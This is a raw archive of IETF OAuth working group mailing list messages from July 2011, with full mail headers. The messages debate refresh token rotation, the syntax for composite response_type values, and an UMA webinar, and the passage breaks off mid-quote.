bh=p+UxIFwF9YX7gzfVTx7R+NNrWzk6jVQg0Ttj/cPmdW8=; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=h8NB3iafPabdaiNXLAIxwzVgQjonRJyukkr8uoj33NJY+OuxnFpDICAdTCZe2drIZvPqYwHTaJdnqhH4Upea1jGYBGDqJrEHgFIx+EKwHkJXCHkTikfe8XjVKciYjpmr/ddq9ucQDeVwdbw9foBo7jHtO2O2fLQSGdJg45Yal8g= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=ginc1024; d=yahoo-inc.com; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=Owp37HTyVWY3ByG4DNUIDJHbi9wOu5ymKGEij5ptC9VATp61FmC2LBSwVwLa4F51iRhdOYb3KyyJthsu5RvySzJcngjD4gl4Y2YOtUNTPGpDE+S84LyquQaYEMv+vv0CQUj/ML6vYOqkvi1fKOlhgpq66gGaEhclcrSHylPTUDY=; X-YMail-OSG: FJ4pfEUVM1mVnLVc6ufHqmiP1zByvdS6fosZv8N1IId_5lT n4in.SAKW6P3qIoLsiByd3uPaTFW9q8BEBidGaEpdbnrylupAoIaxA0V9H0X csOVsVP2EAnRspxi2_4j9GZDlsJfH0o.S3anI2OiLKCKbMMfitfKbBULE_cM ujv_79YXMk8JMWWf_y7x37GlUdZfY4XZHBZn9hKboC1FOyp7nnhdIH9dfjEO ldELRlPnRDd1yz3bgyCnp7BYsv6M30YqD2XZyqL.fZ9AuSkuZXgVEdKWy0x2 Z6o_D36ErIUKb8lxVIIcaphDJ3Ume2xSw77NbgYtgyu7QD.ibbnry0WRn_AR 9ldFNbtX3wvnN2ORGSGos Received: from [99.31.212.42] by web31808.mail.mud.yahoo.com via HTTP; Tue, 12 Jul 2011 08:29:28 PDT X-RocketYMMF: william_john_mills X-Mailer: YahooMailWebService/0.8.113.313619 References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A005B@P3PW5EX1MB01.EX1.SECURESERVER.NET> <152fee05-9248-45e5-a9b5-86e880e5b1f9@email.android.com> <1310315898.93782.YahooMailNeo@web31802.mail.mud.yahoo.com> <6bb0fea2-48e6-4c70-93a4-ba4528a0f9b8@email.android.com> Message-ID: <1310484568.80888.YahooMailNeo@web31808.mail.mud.yahoo.com> Date: Tue, 12 Jul 2011 08:29:28 -0700 (PDT) From: "William J. Mills" To: Torsten Lodderstedt , Eran Hammer-Lahav , OAuth WG In-Reply-To: <6bb0fea2-48e6-4c70-93a4-ba4528a0f9b8@email.android.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-223830119-1310484568=:80888" Subject: Re: [OAUTH-WG] Refresh token security considerations X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list Reply-To: "William J. Mills" List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 15:29:33 -0000 --0-223830119-1310484568=:80888 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Why would you re-issue a refresh token every usage?=C2=A0 What's the use ca= se where this makes sense?=0A=0AThe way I always think about the design is = that refresh tokens are indended to be multi-use.=C2=A0 =0A=0A=0A=0A_______= _________________________=0AFrom: Torsten Lodderstedt =0ATo: William J. Mills ; Eran Hammer-Lahav ; OAuth WG =0ASent: Tuesday, July 12, 2011 = 12:53 AM=0ASubject: Re: [OAUTH-WG] Refresh token security considerations=0A= =0A=0AWhy?=0A=0A=0A=0A=0A"William J. Mills" schrieb:= =0AI agree that this is something you could do, but it doesn't seem like a = good design pattern.=0A>=0A>=0A>=0A>=0A>________________________________=0A= >From: Torsten Lodderstedt =0A>To: Eran Hammer-Lah= av ; OAuth WG =0A>Sent: Sunday, July 1= 0, 2011 1:21 AM=0A>Subject: Re: [OAUTH-WG] Refresh token security considera= tions=0A>=0A>replacement of the refresh token with every access token refre= sh is an example. The authz server creates and returns a new refresh token = value with every access token refreshment. The old value is invalidated and= must not be used any further. Note: The authz server keeps track of all ol= d (invalidated) refresh tokens.=0A>=0A>If a client presents one of those ol= d refresh tokens, the legitimate client has been compromised most likely. T= he authz then revokes the refresh token and the associated access authoriza= tion.=0A>=0A>regards,=0A>Torsten.=0A>=0A>=0A>=0A>=0A>Eran Hammer-Lahav schrieb:=0A>=E2=80=9Cthe authorization server SHOULD depl= oy other means to detect refresh token abuse=E2=80=9D=0A>>=C2=A0=0A>>This r= equires an example. =0A>>=C2=A0=0A>>=C2=A0=0A>>EHL=0A>_____________________= __________________________=0A>OAuth mailing list=0A>OAuth@ietf.org=0A>https= ://www.ietf.org/mailman/listinfo/oauth=0A>=0A>=0A> --0-223830119-1310484568=:80888 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable
Why would you re-issue a refresh token every usage?  What's the use = case where this makes sense?

<= span>The way I always think about the design is that refresh tokens are ind= ended to be multi-use. 

From: Torsten Lodderstedt <torsten@lodders= tedt.net>
To: Willia= m J. Mills <wmills@yahoo-inc.com>; Eran Hammer-Lahav <eran@huenive= rse.com>; OAuth WG <oauth@ietf.org>
Sent: Tuesday, July 12, 2011 12:53 AM
Subject: Re: [OAUTH-WG] Refresh token se= curity considerations

Why?


=0A
=0A"William J. Mills" <w= mills@yahoo-inc.com> schrieb:
=0A
I agree that this is something = you could do, but it doesn't seem like a good design pattern.

From: Tor= sten Lodderstedt <torsten@lodderstedt.net>
To: Eran Hammer-Lahav <eran@hueniverse.com>= ; OAuth WG <oauth@ietf.org>
= Sent: Sunday, July 10, 2011 1:21 AM
Subject: Re: [OAUTH-WG] Refresh token security cons= iderations

replacement of the refres= h token with every access token refresh is an example. The authz server cre= ates and returns a new refresh token value with every access token refreshm= ent. The old value is invalidated and must not be used any further. Note: T= he authz server keeps track of all old (invalidated) refresh tokens.
=0A=
=0AIf a client presents one of those old refresh tokens, the legitimate= client has been compromised most likely. The authz then revokes the refres= h token and the associated access authorization.
=0A
=0Aregards,
= =0ATorsten.

=0A
=0AEran Hammer-Lahav <eran@hueniverse.com> schrieb:= =0A
=E2=80=9Cthe authorization server SHOULD deploy o= ther means to detect refresh token abuse=E2=80=9D
 
This requires an example.
 
 
EHL

________________________= _______________________
OAuth mailing list
OAuth@ietf.org
= https://www.ietf.org/mailman/listinfo/oauth




--0-223830119-1310484568=:80888-- From hardjono@mit.edu Tue Jul 12 09:01:47 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 78FBC21F8F74 for ; Tue, 12 Jul 2011 09:01:47 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -4.499 X-Spam-Level: X-Spam-Status: No, score=-4.499 tagged_above=-999 required=5 tests=[AWL=-0.900, BAYES_00=-2.599, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 33StJBtRaREk for ; Tue, 12 Jul 2011 09:01:29 -0700 (PDT) Received: from dmz-mailsec-scanner-5.mit.edu (DMZ-MAILSEC-SCANNER-5.MIT.EDU [18.7.68.34]) by ietfa.amsl.com (Postfix) with ESMTP id 4926121F8F2C for ; Tue, 12 Jul 2011 09:01:29 -0700 (PDT) X-AuditID: 12074422-b7b19ae000000a1c-38-4e1c6fc21868 Received: from mailhub-auth-2.mit.edu ( [18.7.62.36]) by dmz-mailsec-scanner-5.mit.edu (Symantec Messaging Gateway) with SMTP id 54.77.02588.2CF6C1E4; Tue, 12 Jul 2011 12:01:06 -0400 (EDT) Received: from outgoing-exchange-1.mit.edu (OUTGOING-EXCHANGE-1.MIT.EDU [18.9.28.15]) by mailhub-auth-2.mit.edu (8.13.8/8.9.2) with ESMTP id p6CG1SIZ024289 for ; Tue, 12 Jul 2011 12:01:28 -0400 Received: from oc11exedge2.exchange.mit.edu (OC11EXEDGE2.EXCHANGE.MIT.EDU [18.9.3.18]) by outgoing-exchange-1.mit.edu (8.13.8/8.12.4) with ESMTP id p6CG1R8E013965 for ; Tue, 12 Jul 2011 12:01:27 -0400 Received: from oc11exhub5.exchange.mit.edu (18.9.3.15) by oc11exedge2.exchange.mit.edu (18.9.3.18) with Microsoft SMTP Server (TLS) id 8.2.255.0; Tue, 12 Jul 2011 12:01:18 -0400 Received: from EXPO10.exchange.mit.edu ([18.9.4.15]) by oc11exhub5.exchange.mit.edu ([18.9.3.15]) with mapi; Tue, 12 Jul 2011 12:01:26 -0400 From: Thomas Hardjono To: OAuth WG Date: Tue, 12 Jul 2011 12:01:15 -0400 Thread-Topic: UMA/OAuth2.0 Webinar (Wednesday 13 July / 12noon-EST) Thread-Index: AcxArO2pTvIpUUK6SwCfqj9/ysIvIg== Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFjrHKsWRmVeSWpSXmKPExsUixG6nonsoX8bPYME0SYuTb1+xOTB6LFny kymAMYrLJiU1J7MstUjfLoEro2n2JPaC7awVrXM+MjYwHmfpYuTkkBAwkZj7fRojhC0mceHe erYuRi4OIYF9jBKHp75ihXCuMkrMPvQSKMMB5NxhlFhkABHfyijRdXIFI4QzgVGiYdoeVpBR bAIaEud+72UHsUUEZCXmX9oKto5ZQE1i860OsBoWAVWJZRd3s4MMFRawk7h6TQ+i3Fmire8u VKueRNe3RjYQm1cgQOLb1CtglzICXfr91BomiJHiEreezGeC+EBQYtHsPcww3/zb9ZANol5U 4k77ekaIej2JG1OnsEHY2hLLFr5mhpgvKHFy5hOWCYzis5CMnYWkZRaSlllIWhYwsqxilE3J rdLNTczMKU5N1i1OTszLSy3SNdXLzSzRS00p3cQIjioXpR2MPw8qHWIU4GBU4uEtTJTxE2JN LCuuzD3EKMnBpCTKa50HFOJLyk+pzEgszogvKs1JLT7EKMHBrCTCa2MMlONNSaysSi3Kh0lJ c7AoifOWeP/3FRJITyxJzU5NLUgtgsnKcHAoSfB+ARkqWJSanlqRlplTgpBm4uAEGc4DNNwK pIa3uCAxtzgzHSJ/ilGXo/XugiOMQix5+XmpUuK8M0CKBECKMkrz4ObAkuErRnGgt4R5P4FU 8QATKdykV0BLmICWvJaWBFlSkoiQkmpgND+xa3bbqZ0H5V6xFE/cVlx0KffDqfS34r/3vZf7 evLqfOGcwyueHi/IbVMssl+6qUg9cEbKoWvLDY8EbppU7H1t/Vch/15Ti7Qn17LNlvPu33h5 m/6mJr+rhpqLePZP7bn8zuayfOZXbg3Pvsk9fsLMmxgKr+XblvTcvrHqnIC1p19OrRj/LCWW 4oxEQy3mouJEAGKTuaxhAwAA Subject: [OAUTH-WG] UMA/OAuth2.0 Webinar (Wednesday 13 July / 12noon-EST) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 16:01:47 -0000 Folks, For those who are interested in UMA and how it builds on top OAuth2.0, there will be a free public webinar on UMA tomorrow Wednesday July 13th at 12noon-EST (9AM-Pacific). The presentation should cover much of the UMA Core draft. Registration link can be found here: http://kantarainitiative.org/confluence/display/uma/Home https://ieee-isto.webex.com/ieee-isto/j.php?ED=3D13129823&RG=3D1&UID=3D2043= 0508&RT=3DMiMxMQ%3D% /thomas/ __________________________________________ Thomas Hardjono MIT Kerberos Consortium email:=A0 hardjono[at]mit.edu mobile: +1 781-729-9559 desk:=A0=A0=A0+1 617-715-2451 __________________________________________ From beaton@google.com Tue Jul 12 09:32:46 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 99BD321F8D4F for ; Tue, 12 Jul 2011 09:32:46 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.977 X-Spam-Level: X-Spam-Status: No, score=-105.977 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id sDuYUTdVy3Ev for ; Tue, 12 Jul 2011 09:32:45 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [216.239.44.51]) by ietfa.amsl.com (Postfix) with ESMTP id 7964221F8CF9 for ; Tue, 12 Jul 2011 09:32:45 -0700 (PDT) Received: from hpaq14.eem.corp.google.com (hpaq14.eem.corp.google.com [172.25.149.14]) by smtp-out.google.com with ESMTP id p6CGWiP5010828 for ; Tue, 12 Jul 2011 09:32:44 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1310488364; bh=rmFZWsSwZ/G046lV+juZEODzYs0=; h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From: To:Cc:Content-Type:Content-Transfer-Encoding; b=r7ucWxtPiuxJq35n6DHnyO1cXFnsuXP2A8oN1yn1CqqKfzcDsL5X3VO7BMt7YgMEz kl+L9qll6v4CR6LJpk9Xg== DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=dkim-signature:mime-version:in-reply-to:references:date: message-id:subject:from:to:cc:content-type: content-transfer-encoding:x-system-of-record; b=Da7wGC67aVhXP3E3XY1uaznwUoG7aC3TpHmdwUQVkXfw29mauTMc1PSWTxVifCFNM rL/JzBekpHeA9U3uMyntA== Received: from pzk30 (pzk30.prod.google.com [10.243.19.158]) by hpaq14.eem.corp.google.com with ESMTP id p6CGWJIq000683 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Tue, 12 Jul 2011 09:32:43 -0700 Received: by pzk30 with SMTP id 30so4320167pzk.32 for ; Tue, 12 Jul 2011 09:32:42 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=zSftHls15HlneIyobzBJejqVLjBwQh9ZSPIfSC0m+3s=; b=lwWyfsJEZ2xSKNYjvOVuHDmlaGBE3GRMc6FW9bN95SBFOep8i2hnV6s+V4JThLJ4d6 Ux2ndY+O3Wd2VPVHiecQ== MIME-Version: 1.0 Received: by 10.68.68.235 with SMTP id z11mr103727pbt.446.1310488360920; Tue, 12 Jul 2011 09:32:40 -0700 (PDT) Received: by 10.142.14.2 with HTTP; Tue, 12 Jul 2011 09:32:40 -0700 (PDT) In-Reply-To: <1310484568.80888.YahooMailNeo@web31808.mail.mud.yahoo.com> References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A005B@P3PW5EX1MB01.EX1.SECURESERVER.NET> <152fee05-9248-45e5-a9b5-86e880e5b1f9@email.android.com> <1310315898.93782.YahooMailNeo@web31802.mail.mud.yahoo.com> <6bb0fea2-48e6-4c70-93a4-ba4528a0f9b8@email.android.com> <1310484568.80888.YahooMailNeo@web31808.mail.mud.yahoo.com> Date: Tue, 12 Jul 2011 09:32:40 -0700 Message-ID: From: Brian Eaton To: "William J. Mills" Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-System-Of-Record: true Cc: OAuth WG Subject: Re: [OAUTH-WG] Refresh token security considerations X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 16:32:46 -0000 On Tue, Jul 12, 2011 at 8:29 AM, William J. Mills wr= ote: > Why would you re-issue a refresh token every usage?=A0 What's the use cas= e > where this makes sense? It's key rotation built into the protocol. Even if a refresh token is stolen, it's going to become useless to the attacker very quickly. My main concern with rotating refresh tokens with every use is that it can cause problems with distributed client apps; they have to keep the refresh token in sync, and it adds complexity. But for desktop and mobile apps it's quite a good idea. (You can see a similar design in how Active Directory manages kerberos machine keys. They took a slightly different approach, in that the client machines phone home to change their keys, but it provides similar benefits.) From phil.hunt@oracle.com Tue Jul 12 10:27:49 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6DCCA21F8C80 for ; Tue, 12 Jul 2011 10:27:49 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.439 X-Spam-Level: X-Spam-Status: No, score=-3.439 tagged_above=-999 required=5 tests=[AWL=-0.840, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 9rE2ELGO9ANI for ; Tue, 12 Jul 2011 10:27:45 -0700 (PDT) Received: from rcsinet15.oracle.com (rcsinet15.oracle.com [148.87.113.117]) by ietfa.amsl.com (Postfix) with ESMTP id 1D42B21F8C73 for ; Tue, 12 Jul 2011 10:27:45 -0700 (PDT) Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by rcsinet15.oracle.com (Switch-3.4.4/Switch-3.4.4) with ESMTP id p6CHRcQC011515 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 12 Jul 2011 17:27:39 GMT Received: from acsmt356.oracle.com (acsmt356.oracle.com [141.146.40.156]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id p6CHRbeW005393 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 12 Jul 2011 17:27:37 GMT Received: from abhmt106.oracle.com (abhmt106.oracle.com [141.146.116.58]) by acsmt356.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id p6CHRWES005980; Tue, 12 Jul 2011 12:27:32 -0500 Received: from [192.168.1.8] (/24.85.235.164) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 12 Jul 2011 10:27:31 -0700 Mime-Version: 1.0 (Apple Message framework v1084) Content-Type: text/plain; charset=us-ascii From: Phil Hunt In-Reply-To: Date: Tue, 12 Jul 2011 10:27:30 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <56047276-99F9-4D71-881C-3EC727267EB3@oracle.com> References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A005B@P3PW5EX1MB01.EX1.SECURESERVER.NET> <152fee05-9248-45e5-a9b5-86e880e5b1f9@email.android.com> <1310315898.93782.YahooMailNeo@web31802.mail.mud.yahoo.com> <6bb0fea2-48e6-4c70-93a4-ba4528a0f9b8@email.android.com> <1310484568.80888.YahooMailNeo@web31808.mail.mud.yahoo.com> To: Brian Eaton X-Mailer: Apple Mail (2.1084) X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Auth-Type: Internal IP X-CT-RefId: str=0001.0A090205.4E1C840C.001C:SCFMA922111,ss=1,re=-4.000,fgs=0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Refresh token security considerations X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 17:27:49 -0000 +1 Maybe either way at the issuers discretion (optional) until we have a = strong feeling why one technique is particularly problematic. i.e. if = the server chooses to provide a new refresh token the old token is = expired. Phil @independentid www.independentid.com phil.hunt@oracle.com On 2011-07-12, at 9:32 AM, Brian Eaton wrote: > On Tue, Jul 12, 2011 at 8:29 AM, William J. Mills = wrote: >> Why would you re-issue a refresh token every usage? What's the use = case >> where this makes sense? >=20 > It's key rotation built into the protocol. Even if a refresh token is > stolen, it's going to become useless to the attacker very quickly. >=20 > My main concern with rotating refresh tokens with every use is that it > can cause problems with distributed client apps; they have to keep the > refresh token in sync, and it adds complexity. But for desktop and > mobile apps it's quite a good idea. >=20 > (You can see a similar design in how Active Directory manages kerberos > machine keys. They took a slightly different approach, in that the > client machines phone home to change their keys, but it provides > similar benefits.) > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From breno@google.com Tue Jul 12 10:59:28 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id AD2F121F8D46 for ; Tue, 12 Jul 2011 10:59:28 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.377 X-Spam-Level: X-Spam-Status: No, score=-105.377 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id wCu2Q4IFk-sf for ; Tue, 12 Jul 2011 10:59:28 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [216.239.44.51]) by ietfa.amsl.com (Postfix) with ESMTP id CB30521F8D45 for ; Tue, 12 Jul 2011 10:59:27 -0700 (PDT) Received: from kpbe20.cbf.corp.google.com (kpbe20.cbf.corp.google.com [172.25.105.84]) by smtp-out.google.com with ESMTP id p6CHxR4Y024658 for ; Tue, 12 Jul 2011 10:59:27 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1310493567; bh=U1lJvjiElym2nMrgo8nkwZ5QH7o=; h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From: To:Cc:Content-Type; b=itl96kiaddDXKAeuK9MnVdWpc2+8aoMKwzjtJ3xYUzR+tLlVDTKJUlQGxYpzZzgm4 PdAlkjKYBZEtTZc1SRw1w== DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=dkim-signature:mime-version:in-reply-to:references:date: message-id:subject:from:to:cc:content-type:x-system-of-record; b=rodMrA8AECyefUusDGo/0KrZMwOsAeRsRoKZyg1aDUuFaC54o86S8+5ivXrjPkEFv UcXuxOPDrL2SJJBY5KPBg== Received: from yia13 (yia13.prod.google.com [10.243.65.13]) by kpbe20.cbf.corp.google.com with ESMTP id p6CHvOao018573 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Tue, 12 Jul 2011 10:59:26 -0700 Received: by yia13 with SMTP id 13so2419466yia.0 for ; Tue, 12 Jul 2011 10:59:25 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=+y4ngbMZQTpBPLPQxoKbz0NVLLanxmhI2ZzIKh0g2aw=; b=DFH6OiQOvRnngznMkRU0yjPmRz3qwzH6k9NTi+ibtmURKXFfgrf73P5wOLjm0Ko5Ud 6T4o1NzMoYPbPA5GmQ+Q== MIME-Version: 1.0 Received: by 10.101.25.9 with SMTP id c9mr263731anj.9.1310493564033; Tue, 12 Jul 2011 10:59:24 -0700 (PDT) Received: by 10.101.49.19 with HTTP; Tue, 12 Jul 2011 10:59:23 -0700 (PDT) In-Reply-To: <85A6E014-25A0-4970-8741-2F174B20688E@hueniverse.com> References: <85A6E014-25A0-4970-8741-2F174B20688E@hueniverse.com> Date: Tue, 12 Jul 2011 10:59:23 -0700 Message-ID: From: Breno de Medeiros To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 X-System-Of-Record: true Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 17:59:28 -0000 Imposing order and exact string matching on response_type's while simultaneously supporting a special character '+' and introducing the concept of composite response_type is a poor compromise, IMNSHO. What is the rationale to fear allowing multiple-valued response_type as we have for other parameters in the spec? On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav wrote: > As for the plus encoding we can choose another char or give an example. > > On Jul 11, 2011, at 18:07, "Marius Scurtescu" wrote: > >> If I read section 8.4 correctly it seems that new response types can >> be defined but composite values must be registered explicitly. >> >> I don't think this approach scales too well. OpenID Connect for >> example is adding a new response type: id_token. >> >> id_token can be combined with either code or token and potentially >> with both of them, the following combinations must be registered as a >> result: >> code+id_token >> token+id_token >> code+token+id_token >> >> and this assumes that code+token is already registered. >> >> I think it makes more sense to define response_type as a space >> separated list of items, where each item can be individually >> registered. I do realize that this complicates things quite a bit (not >> we have to define and deal with both composite response_type and the >> individual items). >> >> As a side note, using + as separator could cause lots of problems. If >> people naively type "code+toke" it will be decoded as "code token". No >> one will remember the hex code for +. >> >> Marius >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth > -- --Breno From eran@hueniverse.com Tue Jul 12 11:11:19 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D795921F8E3A for ; Tue, 12 Jul 2011 11:11:18 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.318 X-Spam-Level: X-Spam-Status: No, score=-2.318 tagged_above=-999 required=5 tests=[AWL=-0.319, BAYES_00=-2.599, J_CHICKENPOX_45=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id qoyJX5iBvhm8 for ; Tue, 12 Jul 2011 11:11:18 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 5AFA521F8E34 for ; Tue, 12 Jul 2011 11:11:18 -0700 (PDT) Received: (qmail 31994 invoked from network); 12 Jul 2011 18:11:18 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 12 Jul 2011 18:11:18 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Tue, 12 Jul 2011 11:10:58 -0700 From: Eran Hammer-Lahav To: Breno de Medeiros Date: Tue, 12 Jul 2011 11:10:47 -0700 Thread-Topic: [OAUTH-WG] defining new response types Thread-Index: AcxAvXKWKCSqgNqxSuGTgkyelf++KQAAIDMA Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A058C@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <85A6E014-25A0-4970-8741-2F174B20688E@hueniverse.com> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 18:11:19 -0000 Requiring parsing of the response type parameter is a big change at this po= int. Even if it is a decent idea, I'm against it for the sole reason that I= don't want to introduce such a change - we're done. The + character makes reading values easier because it give composites of e= xisting, individually defined values, a special meaning to *people*, but it= does not change any existing code or adds any work. Servers will still per= form simple string comparison. Parsing a list of values is unnecessary comp= lexity. Developers can learn to put values in their expected order (since t= hey are all going to cut-n-paste anyway). I rather drop the special character then add parsing, but I think it is a u= seful *convention*. Do people want to keep it or drop it? EHL > -----Original Message----- > From: Breno de Medeiros [mailto:breno@google.com] > Sent: Tuesday, July 12, 2011 10:59 AM > To: Eran Hammer-Lahav > Cc: Marius Scurtescu; OAuth WG > Subject: Re: [OAUTH-WG] defining new response types >=20 > Imposing order and exact string matching on response_type's while > simultaneously supporting a special character '+' and introducing the con= cept > of composite response_type is a poor compromise, IMNSHO. What is the > rationale to fear allowing multiple-valued response_type as we have for > other parameters in the spec? >=20 > On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav > wrote: > > As for the plus encoding we can choose another char or give an example. > > > > On Jul 11, 2011, at 18:07, "Marius Scurtescu" > wrote: > > > >> If I read section 8.4 correctly it seems that new response types can > >> be defined but composite values must be registered explicitly. > >> > >> I don't think this approach scales too well. OpenID Connect for > >> example is adding a new response type: id_token. > >> > >> id_token can be combined with either code or token and potentially > >> with both of them, the following combinations must be registered as a > >> result: > >> code+id_token > >> token+id_token > >> code+token+id_token > >> > >> and this assumes that code+token is already registered. > >> > >> I think it makes more sense to define response_type as a space > >> separated list of items, where each item can be individually > >> registered. I do realize that this complicates things quite a bit > >> (not we have to define and deal with both composite response_type and > >> the 